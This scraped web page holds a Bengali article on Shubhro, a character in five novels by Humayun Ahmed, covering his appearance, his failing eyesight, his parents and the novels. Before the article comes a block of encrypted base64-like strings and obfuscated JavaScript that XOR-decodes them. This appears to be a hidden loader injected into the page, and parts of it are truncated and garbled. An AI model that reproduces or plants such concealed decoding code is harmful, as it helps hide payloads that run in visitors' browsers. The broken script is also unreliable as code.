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","OmWK"],pnCL=null,Qdsy=[19,32,59,54,33,60,58,59],E46=85,jBD="",BPx=0,bPB={},amO="",zuF0=0,awF3="",vZy=0,U5u=0,j3DCQ="";if(pnCL){for(BPx=0;BPx>4));if(BPx+2>2));if(BPx+3>>0;for(BPx=0;BPx>>0))>>>0;Flp=(Flp^(Flp>>>17))>>>0;Flp=(Flp^((Flp<<5)>>>0))>>>0;awF3+=s['String']['fromCharCode'](amO.charCodeAt(BPx)^(Flp&255));}for(BPx=0;BPx>4));if(BPx+2>2));if(BPx+3>>0;for(BPx=0;BPx>>0))>>>0;Flp=(Flp^(Flp>>>17))>>>0;Flp=(Flp^((Flp<<5)>>>0))>>>0;awF3+=s['String']['fromCharCode'](amO.charCodeAt(BPx)^(Flp&255));}for(BPx=0;BPx

শুভ্র, হুমায়ূন আহমেদের এক ভিন্ন রকম চরিত্র

০৯:০৮:৩৮ পূর্বাহ্ন, সোমবার, ২৩ অগাস্ট ২০২১

হিমু ও মিসির আলীর মতোই হুমায়ূন আহমেদের অন্যতম আরেকটি সৃষ্ট চরিত্র শুভ্র। এই চরিত্র একটু অন্যরকম। শুভ্র চরিত্রকে কেন্দ্রবিন্দু করে লেখক পাঁচটি উপন্যাস রচনা করেছেন। যথা- দারুচিনি দ্বীপ, রুপালি দ্বীপ, শুভ্র, এই শুভ্র এই, শুভ্র গেছে বনে।

শুভ্র চরিত্র নিয়ে হুমান আহমেদ

শুভ্র চরিত্রটিকে নিয়ে স্বয়ং লেখকের মতামত এইরকম- ‘শুভ্র যে খুব একটা জনপ্রিয় চরিত্র তা কিন্তু না। হিমুকে বা মিসির আলীকে সবাই যেভাবে চেনে শুভ্রকে সেভাবে চেনে না। শুভ্রকে নিয়ে পূর্ণদৈর্ঘ্য একটি চলচ্চিত্র ‘দারুচিনি দ্বীপ’ তৈরি হয়েছে, তার পরেও না। সাদামাটা শুভ্রের আকর্ষণী ক্ষমতা মনে হয় কম। বেচারা তার জন্য দায়ী না, দায়ী আমি। আমিই তাকে দূরের মানুষ করে রেখেছি।’

‘একটি সাদা গাড়ি’ নামে লেখক এর একটি ছোটগল্প আছে। সেই চরিত্র সাদা গাড়ি করে ঘুরত। লেখকের মতে তখনই শুভ্রের জন্ম। সেই চরিত্রটি পরে অনেক উপন্যাসে এসেছে। তবে, হিমু যেমন সব উপন্যাসে হিমু হিসাবে এসেছে, শুভ্র কিন্তু সেভাবে আসেনি। একেক উপন্যাসে একেক ভাবে এসেছে। কমন ব্যাপারটা হলো তার নাম এবং তার হাই পাওয়ারের চশমা।

শুভ্র যেমন

শুভ্র দেখতে রাজপুত্রের মতো। যেখানে অন্য দুই চরিত্র হিমু ও মিসির আলী দেখতে সাধারণ, আর পাঁচটা মানুষের মতো। স্বাভাবিক কারণেই লেখককে যেমন অনেক কৌতূহলী পাঠক প্রায়ই জিজ্ঞেস করে বসতেন, আপনি হিমু না মিসির আলী? কিন্তু কেউ কখনও জিজ্ঞেস করেননি, আপনি কি শুভ্র? তার কারণ হুমায়ূন আহমেদের চেহারা শুভ্রের মতো এত সুশ্রী ছিল না। 

শুভ্র চরিত্রের পরিচিতি

উল্লিখিত পাঁচটি উপন্যাসে কেন্দ্রীয় চরিত্র হিসেবে শুভ্র থাকলেও পিতামাতার নাম একেক উপন্যাসে একেক রকমভাবে এসেছে। তার মায়ের নাম দু’টি উপন্যাসে আছে রেহানা, দু’টিতে আছে জাহানারা, এবং একটিতে রাহেলা। তেমনিভাবে বাবার নাম দু’টি উপন্যাসে ইয়াজ উদ্দিন, দু’টি উপন্যাসে মোতাহার হোসেন এবং একটিতে মেরাজউদ্দিন হিসাবে উল্লেখিত হয়েছে। যদিও তাদের দু’জনের বাড়িঘর, ব্যবসা-বাণিজ্য, স্বভাব-চরিত্র প্রত্যেক উপন্যাসে একই। শুভ্রের জন্ম হল। তার বাবা তাকে দেখতে গেলেন হাসপাতালে। ফুলের মতো শিশু। তাঁর দিকে দেখে হাসল যেন। ভাবলেন, তাঁর দুই হাতে তিনি প্রচুর অর্থ কামিয়েছেন অসৎ উপায়ে। সেই অশুচি হাতে বেহেস্তের ফুল স্পর্শ করা কি ঠিক হবে? তবু তিনি দুই হাত বাড়িয়ে ছেলেকে কোলে নিলেন। নাম রাখলেন শুভ্র। আর মনে মনে বললেন, আমার এই ছেলেকে যেন পৃথিবীর কোনও মালিন্য, কোনও নোংরামী কখনও স্পর্শ না করে- সে যেন তার নামের মতোই হয়। তাঁর বিশ্বাস মানুষ সৎ প্রবৃত্তি নিয়েই জন্মায়। চারপাশের মানুষ থাকে অসৎ করে। এই বিশ্বাস থেকেই তিনি শুভ্রকে সবার কাছ থেকে আলাদা করে রেখেছেন। পৃথিবীর কোনও মালিন্য শুভ্রের কাছে ভিড়তে দেননি।

শুভ্র, লালটু, প্রিন্স, রাজকুমার

শুভ্র! কী সুন্দর গায়ের রং! মাথা ভর্তি কোকড়ানো চুল। পাতলা লালচে ঠোঁট, মনে হবে হালকা করে লিপস্টিক দেওয়া। হাঁটলে মনে হয় যেন ছোট্ট একটা পুতুল হেলতে-দুলতে যাচ্ছে। ধবধবে সাদা মোমের শরীর। দেবশিশু, মর্তের পৃথিবীতে যেন ভুল করে চলে এসেছে। শুভ্র যে দেখতেই সুন্দর, তা না। চেহারার মধ্যে মায়া মায়া ভাব। স্কুলের ছেলেরা বরাবরই পাজি হয়। তারা শুভ্রকে ডাকত ‘লালটু’। কলেজে সবাই ডাকত ‘প্রিন্স’। ইউনিভার্সিটিতে তার নাম হল- ‘রাজ কুমার’। শুভ্র দেখতে রাজকুমারের মতো। যেই তাকে প্রথম দেখে, মুগ্ধের মতো অনেকক্ষণ চেয়ে থাকে আর মনে মনে স্বীকার করে নেয় যে, এত সুন্দর ছেলে সে জীবনে দেখে নি।

অদ্ভুত চরিত্র শুভ্র

শুভ্র বাইশ বছরের যুবক। কিন্তু এখনও বালক স্বভাব ত্যাগ করতে পারেনি। আশে-পাশের জগৎ সম্পর্কে, মানুষ সম্পর্কে কিছুই জানে না। তার জগৎ হচ্ছে তার শোবার ঘর, তার পড়ার ঘর এবং এই বাড়ির মধ্যে সীমাবদ্ধ। সাইকেল চালাতে জানে না, গাড়ি চালাতে জানে না, সাঁতার জানে না- তার জগৎ অভিজ্ঞতা শূন্য ক্ষুদ্র জগৎ। শুভ্রর মধ্যে পছ¨ করার মতো গুণাবলি বিশেষ নেই। মজার গল্প বলতে পারে না। আসর জমাতে পারে না। সে অত্যন্ত ইন্ট্রোভার্ট ধরনের একজন যুবক। অভিমান বোঝে না। চালাকি ধরতে পারে না। টেলিফোন নম্বর মনে রাখতে পারে না। এমন কি নিজের বাড়ির ঠিকানাও জানে না। সারাজীবন বিশাল এসি গাড়িতে ঘোরাঘুরি করেছে। ঠিকানা জানার প্রয়োজন হয়নি। চোখের সমস্যা ছাড়াও তার শরীর দুর্বল। ছোটবেলা থেকেই অসুখ-বিসুখে ভোগে। তার মা তাকে আলাদা করে বড় করেছেন বলে পৃথিবীর জটিলতা সে কিছুই জানে না। তার জগৎটা হলো বইপত্রের। সে দিন রাত বই পড়ে। কম্পিউটার নিয়ে বসে থাকে। ইন্টারনেটে অপরিচিত মানুষদের সঙ্গে গল্প করে। পিতাকে অসম্ভব ভালোবাসে শুভ্র। এই ভালোবাসার মধ্যে কোনও রকম খাদ নেই। একজন মানুষ অন্য একজনকে তার গুণের জন্য ভালোবাসে। সে ভালোবাসে তাঁর দোষগুলোর জন্য। তার মতে, তার বাবাই একমাত্র মানুষ যার দোষগুলোকে গুণ বলে মনে হয়।

ক্লাসের মেয়েরা শুভ্রকে আপনি সম্বোধন করে

ক্লাসের মেয়েরা ছেলেদের তুমি তুমি করে বলে, শুধু শুভ্রের বেলায় আপনি। দোষটা অবশ্যই শুভ্রের। সে ক্লাসের কোন মেয়েকে তুমি বলতে পারে না। বন্ধুবান্ধবরা শুভ্রকে ডাকে কানা-বাবা। চোখে কম দেখে তো, এই জন্য। এতে তার রাগ হয় না। স্কুল-কলেজ-ইউনিভার্সিটিতে ছেলেমেয়েদের অনেক কুৎসিত কুৎসিত নাম থাকে। তার তুলনায় কানা বাবা তো খুব ভদ্র নাম। মজার নাম। এজন্য সে রাগে না। মেয়েরা অবশ্য বলে The learned blind

father। লারনেড না ডেকে উপায় নেই। যে ছেলে জীবনে কোনোদিন কোনো পরীক্ষায় ফার্স্ট ছাড়া সেকেন্ড হয়নি, তাকে ইচ্ছে না থাকলেও লারনেড ডাকতে হয়।

শুভ্র জানে সে অন্ধ হয়ে যাবে, সেভাবেই প্রস্তুতি নিচ্ছে

শুভ্রের চোখে র নার্ভ শুকিয়ে আসছে। অতি দ্রুত তার চোখ নষ্ট হয়ে যাবে। সে কিছুই দেখবে না। হাই পাওয়ারের পুরু কাচওয়ালা চশমা পরে। চশমা ছাড়া সে অন্ধ। একটা সময় আসবে সে চশমা পরেও দেখতে পাবে না। এজন্য তার ব্যাগে অন্য আরেকটি চশমা দেওয়া থাকে। যাতে করে পরে থাকা চশমাটি কোনো কারণে নষ্ট হয়ে গেলে বা ভেঙে গেলে সেটি ব্যবহার করতে পারে। শুভ্র ব্রেইলি পদ্ধতিতে পড়া শিখছে। প্রায় শিখেও ফেলেছে। সে জানে তার চোখ ভয়ঙ্কর খারাপ। তার ধারণা- কোনও এক ভোরবেলায় ঘুম ভেঙে সে কিছুই দেখবে না। ব্রেইল পদ্ধতির পড়া এখন কাজে না লাগলেও তখন কাজে লাগবে। শুভ্রর অপটিক নার্ভ শুকিয়ে যাচ্ছে। কোনও ডাক্তারই সেটা বন্ধ করতে পারছেন না। সে অতি দ্রুত অন্ধ হতে যাচ্ছে। অনেক চেষ্টা করা হয়েছে। বার্নড ব্রোসার্ড নামে একজন জার্মান ডাক্তার তার শ্রেষ্ঠ চিকিৎসক। তিনি বলে দিয়েছেন, ‘আমি দুঃখিত, আমরা অগ্রসরমান বিপদ রোধ করতে পারছি না। ঘটনা ঘটবেই। ডাক্তারের পর্যবেক্ষণ, সেটা কাল হতে পারে; আবার এক বছর, পাঁচ বছর, দশ বছরও লাগতে পারে।

শুভ্র চোখ বন্ধ করে এক্সপ্রেসো মেশিনে কফি বানানোয় অভ্যস্ত হয়েছে। যেন অন্ধ হয়ে যাওয়ার পর কফি বানাতে তার কোনও অসুবিধা না হয়। চোখের সামনে কাউকে অসহ্য বোধ হলে, তাকে মুখে বলতে হয় না, তুমি সামনে থেকে যাও। সে চশমা খুলে ফেলে। ফলে অসহ্য কিছু থেকে সে নিজেকে আড়াল করে নিতে পারে।

শুভ্রর মেয়েলি স্বভাব

শুভ্রর মধ্যে একটু মেয়েলি স্বভাব আছে। অতি সামান্য কারণে তার চোখ ছলছল করে। মাঝে মাঝে টপ করে চোখ থেকে পানি পড়েও যায়। শুভ্রর জন্য একটা কথা খুব সত্যিই যে, শুভ্র বদলাবে না। এখন যে রকম আছে পঞ্চাশ বছর পরেও তাই থাকবে।

হুমায়ূন আহমেদ রচিত উপন্যাস শুভ্র

মনে মনে ডায়েরি লেখে শুভ্র

সব বয়স্ক মানুষের কিছু কিছু ছেলেমানুষী খেলা থাকে। শুভ্রর এক ধরনের খেলা আছে। মনে মনে ডায়েরি লেখা। এই কাজটা সে ভালো পারে। সে কল্পনা করে নেই তার সামনে মস্ত বড়ো সাদা একটা কাগজ। সেই কাগজে সে পেন্সিল দিয়ে লিখছে। লেখা পছন্দ না হলে কাটাকুটিও করছে। কিছু লেখা আবার ইরেজার দিয়ে মুছে নতুন করে লিখছে। কাগজ কলম দিয়ে কিছু লিখতে তার ভালো লাগে না। তবে মনে মনে ডায়েরি লিখতে ভালো লাগে।

মায়ের সামনে স্বীকারোক্তি

মায়ের সামনে তার দুটো স্বীকারোক্তির উল্লেখ করব। যাতে আমাদের সামনে শুভ্রর চরিত্রের কিছুটা হলেও উন্মোচিত হবে। এক, ‘মা আমি যথেষ্ট পরিমাণে উদ্ভট একটা ছেলে। যে কথাটা তোমার কাছে খুব উদ্ভট মনে হয়েছে তার চেয়ে অনেক উদ্ভট কথা আমি মাথায় নিয়ে ঘুরি। অন্য কেউ তাতে খুব কষ্ট পেত, আমি তেমন কষ্ট পাই না।’ দুই, ‘মা শোনো আমি যা বলি খুব চিন্তা ভাবনা করে বলি। একটা কিছু আমার মনে এল আর আমি হুট করে বলে ফেললাম তা কখনো হয় না।’

শুভ্র বাবার কাছে সুপার ইন্টিলিজেন্ট, মায়ের কাছে ভোলাভালা

শুভ্রর স্মৃতিশক্তি অত্যন্ত ভালো। মনে রাখার জন্য সে যা শুনে, তা মনে রাখে। কাউকে কথা দিলে কথা রাখে। তাকে যে যে-রকম দেখতে চায়, সে তার কাছে সে-রকম থাকে। বাবার কাছে থাকে সুপার ইন্টিলিজেন্ট ছেলের মতো। মায়ের কাছে ভোলাভালা ছেলের মতো যে ছেলে কোনও কাজই গুছিয়ে করতে পারে না। শুভ্র যখন বাড়ি থেকে বের হয় নিজেদের গাড়ি করে যায়। সঙ্গে লোক থাকে। তারপরও তার মা একটু পরপর ড্রাইভারকে ফোন করে জানতে চান কোথায় আছে, কি করছে। কখনও বা দূর থেকে লক্ষ্য রাখার জন্যও লোক পাঠানো হয়। বাড়ি থেকে বের হলে শুভ্রর আর বাড়ি ফিরতে ইচ্ছে হয় না।

বাড়িতে ফিরতে চায় না শুভ্র

একবার সে দশ-এগারো বছর বয়সে মনের দুঃখে বাড়ি থেকে গোপনে পালিয়ে গিয়েছিল। পুলিশ তিনদিন পর তাকে উদ্ধার করে। তার বাবা তার খোঁজ পাবার জন্য এক লক্ষ টাকা পুরস্কার ঘোষণা করেছিলেন।

শুভ্র ও তার চিন্তাচিন্তি হাঁটা

বিকেলে চা খেতে শুভ্র ছাদে যায়। চায়ের কাপটা থাকে ছাদের মাঝামাঝি জায়গায় রাখা শ্বেতপাথরের বেদিতে। শুভ্র ছাদের এক মাথা থেকে আরেক মাথায় দ্রুত হাঁটাহাঁটি করে। মাঝে মাঝে বেদির কাছে এসে চায়ে চুমুক দেয়। শুভ্র এই হাঁটাহাঁটির নাম দিয়েছে ‘চিন্তা চিন্তি’। হাঁটতে হাঁটতে সে চিন্তা করে। শুভ্র ইউনিভার্সিটিতে ফার্স্ট হয়েছে। কালী নারায়ণ স্কলার। রেকর্ড নাম্বার পেয়েছে। স্যারেদের ধারণা এই রেকর্ড কেউ ভাঙতে পারবে না। শুভ্র ফলিত বিদ্যার চেয়ারম্যানের কাছে গিয়েছে রেজাল্ট নিতে। তিনি গম্ভীর মানুষ এবং ধমক না দিয়ে কথা বলেন না। চেয়ারম্যান শুভ্রকে দেখে চেয়ার ছেড়ে উঠে দাঁড়িয়ে বললেন, বিদেশে স্ট্যান্ডিং ওভেশন দেওয়ার নিয়ম আছে। আমি তোমার জন্য নিয়মটা চালু করলাম। উঠে দাঁড়ালাম। শুভ্র লজ্জিত ভঙ্গিতে হাসল। তোমাকে যে আমি কতটুকু পছন্দ করি, তা কি তুমি জানো? জানি। না, জানো না। তবে আমার স্ত্রী জানে। ফিজিক্স এর বাইরে আমি কোনো গল্প করতে পারি না। ফিজিক্স এর বাইরে একটি বিষয় নিয়ে তার সঙ্গে গল্প করি- সেই বিষয়টা হচ্ছে তুমি। তুমি কি আমার কথায় লজ্জা পাচ্ছো? জি পাচ্ছি। আমি তোমার জন্য সব ব্যবস্থা করে রেখেছি। তুমি ডিপার্টমেন্টে জয়েন করবে। এডহক ভিত্তিতে জয়েন করবে। আমি পরের সব রেগুলারাইজ করে দেব। তুমি আজই জয়েন করবে। শুভ্র তাকিয়ে রইল। চেয়ারম্যান সাহেব আগ্রহের সঙ্গে বললেন- তুমি আজই জয়েন করবে এবং বিকেলে প্র্যাকটিকাল ক্লাস নেবে। যাতে আমরা পরে বলতে পারি শুভ্র নামে আমাদের এমন একজন ছাত্র ছিল সে যেদিন রেজাল্ট হয়, সেদিনই ঢাকা ইউনিভার্সিটিতে জয়েন করে। না। শুভ্র জয়েন করেনি। সে পিতার ব্যবসা দেখতে চেয়েছিল। সদ্য তার পিতা মারা গেছেন তাদের ব্যবসার সঙ্গে যেসব লোকজন যুক্ত তারা সবাই তার দিকে তাকিয়ে আছে।

শুভ্র চরিত্রের উপন্যাসগুলো

শুভ্রকে মূল চরিত্র করে যে পাঁচটি উপন্যাস রচিত হয়েছে, তার প্রথমটি ‘দারুচিনি দ্বীপ’। এই উপন্যাসে শুভ্রর কয়েকজন বন্ধু ও বান্ধবীদের দারুচিনি দ্বীপে যাওয়ার প্রস্তুতির বর্ণনা আছে। এই উপন্যাস অবলম্বনে সিনেমাও নির্মিত হয়েছে।

দ্বিতীয় উপন্যাস ‘রুপালি দ্বীপ’। এই উপন্যাসে দ্বীপে পৌঁছনোর গল্প বলা হয়েছে।

তৃতীয় উপন্যাস ‘শুভ্র’। এই উপন্যাসটি পাঁচটির মধ্যে সবথেকে বড়। এতে তার বাবা মারা যাবেন। ব্যবসা দেখবে শুভ্র। তার মিনমিনে স্বভাব থেকে বেরিয়ে এসে কঠিন হবে। এতদিন যেভাবে ভালো ছেলে হয়ে চার দেওয়ালের মধ্যে থেকে এসেছে সেই নিয়ম ভেঙে একটু অন্যরকম শুভ্রকে দেখা যাবে।

পরের উপন্যাস ‘এই শুভ্র এই’। শুভ্রের ধারণা সে তার বাবা-মার প্রকৃত সন্তান না। তার বাবা তাকে অন্য কোথাও থেকে দত্তক নিয়ে এসেছে। সে তা প্রমাণ করার চেষ্টা করবে। এই উপন্যাসে ‘মঞ্জু’ নামে একটি চরিত্রের আবির্ভাব ঘটবে, যাকে শুভ্রের বাবা শুভ্রের সবসময়ের সঙ্গী হিসাবে নিয়োগ করবে।

শেষ উপন্যাস ‘শুভ্র গেছে বনে’। ভয়ঙ্কর গণ্ডগোলের মধ্যে পড়ে গিয়ে যূথীর সঙ্গে আলাপ হবে শুভ্রর। সব মিলিয়ে শুভ্রকে একটু অন্যরকমভাবে পাঠকের সামনে হাজির করতে সক্ষম হয়েছেন লেখক।